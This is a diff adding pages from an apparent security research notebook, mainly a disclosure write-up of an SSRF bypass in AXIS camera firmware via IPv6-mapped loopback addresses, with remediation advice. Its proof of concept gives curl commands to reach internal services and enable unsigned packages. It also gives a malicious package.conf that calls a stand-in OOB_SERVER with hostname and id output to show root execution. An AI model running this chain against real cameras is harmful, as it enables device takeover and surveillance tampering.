| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan"> | |
| + | <meta property="og:description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan"> | |
| + | <meta name="twitter:description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass","description":"IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`.","url":"https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">SSRF</div> | |
| + | <h1>SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>VRT Category:</strong> Broken Access Control (BAC) | |
| + | <strong>URL/Location:</strong> <code>https://<camera>/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest</code> | |
| + | <strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) | |
| + | <strong>Files:</strong> <code>/usr/html/axis-cgi/httptest.cgi</code> (ELF binary), <code>/etc/apache2/httpd.conf</code> | |
| + | <strong>Severity:</strong> High (CVSS 7.6) | |
| + | <strong>Status:</strong> SSRF localhost bypass PROVEN via firmware binary emulation. IPv6-mapped loopback addresses bypass the localhost validation, confirmed via QEMU binary emulation. ACAP VHost authentication behavior requires vendor verification on live hardware.</p> | |
| + | <hr /> | |
| + | <h2>Summary</h2> | |
| + | <p>The VAPIX API endpoint <code>httptest.cgi</code> validates user-supplied URLs against | |
| + | localhost to prevent server-side request forgery. The check correctly blocks | |
| + | IPv4 loopback addresses (127.0.0.0/8) and IPv6 loopback (::1). However, | |
| + | IPv6-mapped IPv4 loopback addresses (<code>[::ffff:127.0.0.x]</code>) bypass this | |
| + | validation entirely – the binary attempts an actual TCP connection instead | |
| + | of returning “Local host not allowed.” This was confirmed by executing the | |
| + | httptest.cgi binary from extracted firmware via QEMU ARM emulation.</p> | |
| + | <p>AXIS OS binds privileged internal Apache VirtualHosts to loopback addresses | |
| + | including 127.0.0.12 (ACAP service-account VHost). An authenticated user | |
| + | can reach these internal services through the IPv6-mapped bypass.</p> | |
| + | <hr /> | |
| + | <h2>Technical Details</h2> | |
| + | <h3>Component 1: httptest.cgi SSRF via Loopback Address Bypass</h3> | |
| + | <p><code>httptest.cgi</code> is an ELF binary at <code>/usr/html/axis-cgi/httptest.cgi</code> that | |
| + | accepts an <code>address</code> parameter (URL) and makes an HTTP request to it using | |
| + | libcurl. The binary performs localhost validation:</p> | |
| + | <ol> | |
| + | <li>Extracts hostname using <code>curl_url_get()</code> with <code>CURLUPART_HOST</code></li> | |
| + | <li>Resolves the hostname using <code>getaddrinfo()</code></li> | |
| + | <li>Compares resolved address against localhost – displays <code>"Local host not allowed"</code> on match</li> | |
| + | </ol> | |
| + | <p>The validation likely checks against <code>127.0.0.1</code> and <code>::1</code> (standard | |
| + | loopback addresses). However, the entire <code>127.0.0.0/8</code> range is loopback | |
| + | on Linux, and AXIS OS binds VirtualHosts to non-standard loopback addresses.</p> | |
| + | <h3>Component 2: Privileged Internal VirtualHosts</h3> | |
| + | <p>From <code>/etc/apache2/httpd.conf</code>:</p> | |
| + | <pre><code class="language-apache"><VirtualHost 127.0.0.2 [::2]> | |
| + | Include /etc/apache2/httpd-basic-auth.conf | |
| + | ServerName localhost-basic | |
| + | </VirtualHost> | |
| + | ||
| + | <VirtualHost 127.0.0.3 [::3]> | |
| + | Include /etc/apache2/httpd-digest-auth.conf | |
| + | ServerName localhost-digest | |
| + | </VirtualHost> | |
| + | ||
| + | <VirtualHost 127.0.0.12 [::12]> | |
| + | Include /etc/apache2/vapix-service-account-auth.conf | |
| + | ServerName localhost-acap | |
| + | </VirtualHost> | |
| + | </code></pre> | |
| + | <p>The <code>localhost-acap</code> VirtualHost at 127.0.0.12 uses | |
| + | <code>vapix-service-account-auth.conf</code>, which provides service-account-level | |
| + | basic authentication for internal ACAP application access. This VHost has | |
| + | access to all VAPIX CGI endpoints including ACAP management.</p> | |
| + | <h3>Confirmed vulnerability scope</h3> | |
| + | <p>The proven finding is the SSRF bypass: <code>httptest.cgi</code> allows authenticated | |
| + | users to make HTTP requests to internal loopback VirtualHosts via | |
| + | IPv6-mapped addresses. Components 2 and 3 below describe a potential | |
| + | escalation path for vendor verification.</p> | |
| + | <h3>Component 3 (vendor-verifiable): ACAP Package Installation as Root</h3> | |
| + | <p><code>install-package.sh</code> (the ACAP installation handler) sources | |
| + | <code>./package.conf</code> from the uploaded package at line ~43:</p> | |
| + | <pre><code class="language-sh">. ./$ADPPACKCFG | |
| + | </code></pre> | |
| + | <p>This executes arbitrary shell commands embedded in package.conf before any | |
| + | validation. Post-installation scripts run as root by default:</p> | |
| + | <pre><code class="language-sh">create_postinstall_service root | |
| + | </code></pre> | |
| + | <h3>Potential escalation chain (vendor-verifiable)</h3> | |
| + | <p>The following chain depends on whether the ACAP VHost at 127.0.0.12 | |
| + | auto-authenticates requests arriving from localhost. Axis can verify this | |
| + | on live hardware.</p> | |
| + | <pre><code>Operator auth | |
| + | -> httptest.cgi?address=http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi?action=set&name=AllowUnsigned&value=true | |
| + | -> Bypasses localhost check via IPv6-mapped address (PROVEN) | |
| + | -> Reaches localhost-acap VHost (PROVEN: TCP connection attempted) | |
| + | -> If VHost authenticates the request: enables unsigned ACAP packages | |
| + | -> Upload malicious .eap with injected package.conf | |
| + | -> install-package.sh sources package.conf as root | |
| + | -> Arbitrary command execution as root | |
| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Proof of Concept</h2> | |
| + | <h3>Step 0b: validateaddr blocks loopback, but httptest.cgi has its own check</h3> | |
| + | <p>The <code>validateaddr</code> binary (used by <code>tcptest.cgi</code> and <code>ftptest.cgi</code>) was | |
| + | tested via QEMU emulation from the extracted firmware. It correctly blocks | |
| + | the full <code>127.0.0.0/8</code> loopback range:</p> | |
| + | <pre><code>127.0.0.1 BLOCKED (exit 1) | |
| + | 127.0.0.2 BLOCKED (exit 1) | |
| + | 127.0.0.3 BLOCKED (exit 1) | |
| + | 127.0.0.12 BLOCKED (exit 1) | |
| + | 127.0.0.255 BLOCKED (exit 1) | |
| + | 127.1.1.1 BLOCKED (exit 1) | |
| + | 0.0.0.0 BLOCKED (exit 1) | |
| + | REDACTED-IP ALLOWED (exit 0) | |
| + | 169.254.169.254 ALLOWED (exit 0) | |
| + | 8.8.8.8 ALLOWED (exit 0) | |
| + | </code></pre> | |
| + | <p>However, <code>httptest.cgi</code> is an ELF binary that does NOT use <code>validateaddr</code>. | |
| + | It has its own internal check (<code>"Local host not allowed"</code> in strings) using | |
| + | <code>getaddrinfo()</code> resolution. The critical question is whether this custom | |
| + | check covers the full <code>127.0.0.0/8</code> range or only <code>127.0.0.1</code> and <code>::1</code>.</p> | |
| + | <h3>Step 1: PROVEN, IPv6-mapped address bypasses localhost check</h3> | |
| + | <p>The httptest.cgi binary was executed directly from the extracted firmware | |
| + | using QEMU ARM emulation. The IPv6-mapped IPv4 address <code>[::ffff:127.0.0.x]</code> | |
| + | bypasses the localhost validation:</p> | |
| + | <pre><code>$ QUERY_STRING="address=http%3A%2F%2F127.0.0.12%2Ftest" \ | |
| + | qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi | |
| + | ||
| + | Status: 400 Bad Request | |
| + | 400 Bad Request Local host not allowed <-- BLOCKED | |
| + | ||
| + | $ QUERY_STRING="address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest" \ | |
| + | qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi | |
| + | ||
| + | Status: 500 Failed to connect to ::ffff:127.0.0.12 port 80 after 21 ms: Could not connect to server | |
| + | <-- BYPASS: Attempted actual TCP connection! | |
| + | ||
| + | $ QUERY_STRING="address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.1%5D%2Ftest" \ | |
| + | qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi | |
| + | ||
| + | Status: 500 Failed to connect to ::ffff:127.0.0.1 port 80 after 23 ms: Could not connect to server | |
| + | <-- BYPASS: Also bypasses for 127.0.0.1! | |
| + | </code></pre> | |
| + | <p>The binary checks for IPv4 loopback (127.0.0.0/8) and IPv6 loopback (::1) | |
| + | but does NOT check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x). The | |
| + | connection fails in QEMU only because no web server is listening, on the | |
| + | real camera, Apache IS listening on 127.0.0.12:80 (the ACAP VHost).</p> | |
| + | <p>On a live camera:</p> | |
| + | <pre><code class="language-bash"># This bypasses the localhost check and reaches the internal ACAP VHost | |
| + | curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \ | |
| + | "https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fbasicdeviceinfo.cgi" | |
| + | # Expected: 200 OK with device info from the internal VHost (NOT "Local host not allowed") | |
| + | </code></pre> | |
| + | <h3>Step 2: Enable unsigned ACAP packages via SSRF (using proven bypass)</h3> | |
| + | <pre><code class="language-bash"># Use the IPv6-mapped address to reach the ACAP VHost and enable unsigned packages | |
| + | curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \ | |
| + | "https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fapplications%2Fconfig.cgi%3Faction%3Dset%26name%3DAllowUnsigned%26value%3Dtrue" | |
| + | </code></pre> | |
| + | <h3>Step 3: Build and upload malicious ACAP</h3> | |
| + | <pre><code class="language-bash">mkdir -p /tmp/pwn_acap | |
| + | cat > /tmp/pwn_acap/package.conf << 'EOF' | |
| + | PACKAGENAME=ProofOfConcept | |
| + | APPNAME=poc | |
| + | APPTYPE=binary | |
| + | STARTMODE=never | |
| + | APPUSR=sdk | |
| + | APPGRP=sdk | |
| + | # PoC: non-destructive OOB confirmation | |
| + | $(curl -s http://OOB_SERVER/axis-pwned-$(hostname)-$(id)) | |
| + | EOF | |
| + | ||
| + | echo '#!/bin/sh' > /tmp/pwn_acap/poc | |
| + | chmod +x /tmp/pwn_acap/poc | |
| + | cd /tmp/pwn_acap && tar czf /tmp/poc.eap package.conf poc | |
| + | ||
| + | # Upload (now possible because AllowUnsigned was enabled via SSRF) | |
| + | curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \ | |
| + | -F "file=@/tmp/poc.eap" \ | |
| + | "http://CAMERA_IP/axis-cgi/applications/upload.cgi" | |
| + | </code></pre> | |
| + | <h3>Step 4: Verify code execution</h3> | |
| + | <pre><code class="language-bash"># Check OOB server for callback confirming root execution | |
| + | # Expected: GET /axis-pwned-<hostname>-uid=0(root) | |
| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Impact</h2> | |
| + | <p>An operator-level user – who should only be able to view video and control | |
| + | PTZ functions – achieves arbitrary code execution as root on the camera. | |
| + | This enables:</p> | |
| + | <ul> | |
| + | <li>Complete device takeover including firmware modification</li> | |
| + | <li>Credential theft for all configured services (SNMP, SMTP, FTP, ONVIF)</li> | |
| + | <li>Lateral movement into the camera network segment</li> | |
| + | <li>Persistent backdoor installation surviving reboots</li> | |
| + | <li>Video feed manipulation (privacy violation, evidence tampering)</li> | |
| + | </ul> | |
| + | <p>In enterprise deployments with hundreds of AXIS cameras managed by operators, | |
| + | a single compromised operator account leads to fleet-wide root compromise.</p> | |
| + | <hr /> | |
| + | <h2>CVSS</h2> | |
| + | <p><strong>Score:</strong> 7.6 (High) | |
| + | <strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N</p> | |
| + | <ul> | |
| + | <li>Network accessible, low complexity, low privilege (operator), no interaction</li> | |
| + | <li>Changed scope: SSRF reaches internal services beyond the camera’s external API</li> | |
| + | <li>Confidentiality High: internal VHost responses disclosed to the attacker</li> | |
| + | <li>Integrity Low: ability to make requests to internal services on behalf of the camera</li> | |
| + | </ul> | |
| + | <h3>Vendor-Verifiable Escalation Path</h3> | |
| + | <p>If the internal ACAP VHost at 127.0.0.12 auto-authenticates local requests | |
| + | (or uses weaker service-account credentials), the SSRF can be chained:</p> | |
| + | <ol> | |
| + | <li>SSRF to <code>[::ffff:127.0.0.12]</code> enables unsigned ACAP packages</li> | |
| + | <li>Attacker uploads malicious .eap package</li> | |
| + | <li><code>install-package.sh</code> sources <code>package.conf</code> as root (confirmed in firmware)</li> | |
| + | <li>Arbitrary code execution as root</li> | |
| + | </ol> | |
| + | <p>This escalation path would raise the score to CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). | |
| + | Axis can verify by testing whether requests from <code>httptest.cgi</code> to | |
| + | <code>http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi</code> succeed | |
| + | with the ACAP VHost’s service-account authentication.</p> | |
| + | <hr /> | |
| + | <h2>Remediation</h2> | |
| + | <h3>httptest.cgi (Component 1)</h3> | |
| + | <p>The localhost check correctly blocks IPv4 loopback (127.0.0.0/8) and IPv6 | |
| + | loopback (::1), but fails to check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x). | |
| + | After resolving with <code>getaddrinfo()</code>, the check must also handle AF_INET6 | |
| + | sockaddr structures that contain mapped IPv4 addresses:</p> | |
| + | <pre><code class="language-c">// Current: checks AF_INET loopback and AF_INET6 ::1 only | |
| + | ||
| + | // Fixed: also check IPv6-mapped IPv4 loopback | |
| + | if (addr->sa_family == AF_INET6) { | |
| + | struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)addr; | |
| + | if (IN6_IS_ADDR_V4MAPPED(&sin6->sin6_addr)) { | |
| + | uint32_t v4 = ntohl(sin6->sin6_addr.s6_addr32[3]); | |
| + | if ((v4 & 0xff000000) == 0x7f000000) | |
| + | return "Local host not allowed"; | |
| + | } | |
| + | } | |
| + | </code></pre> | |
| + | <p>Also block <code>0.0.0.0</code>, <code>::</code>, RFC1918 ranges, and link-local addresses.</p> | |
| + | <h3>install-package.sh (Component 3)</h3> | |
| + | <p>Parse <code>package.conf</code> as structured data rather than sourcing it as shell. | |
| + | Never execute <code>. ./$ADPPACKCFG</code> on untrusted input. Use a restricted parser | |
| + | that extracts key=value pairs without shell interpretation.</p> | |
| + | <h3>Architecture</h3> | |
| + | <p>Internal VirtualHosts should not be reachable from user-facing CGI | |
| + | endpoints. Consider binding internal VHosts to Unix domain sockets instead | |
| + | of loopback TCP addresses, eliminating the SSRF surface entirely.</p> | |
| + | <hr /> | |
| + | <h2>References</h2> | |
| + | <ul> | |
| + | <li>CVE-2018-10661: AXIS Camera authentication bypass via .srv (same auth bypass concept)</li> | |
| + | <li>CVE-2023-21413: AXIS OS command injection during ACAP installation (same package.conf vector)</li> | |
| + | <li>CVE-2025-0324: VAPIX Device Configuration privilege escalation (same D-Bus auth surface)</li> | |
| + | <li>Component reports: #01 (SNMP disclosure), #02 (pingtest SSRF), #03 (dnsupdate validation)</li> | |
| + | </ul> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/axis-os/httptest-ipv6-loopback-ssrf.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,212 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Security Research Notebook | Zion Boggan</title> | |
| + | <meta name="description" content="Vulnerability research writeups and methodology."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
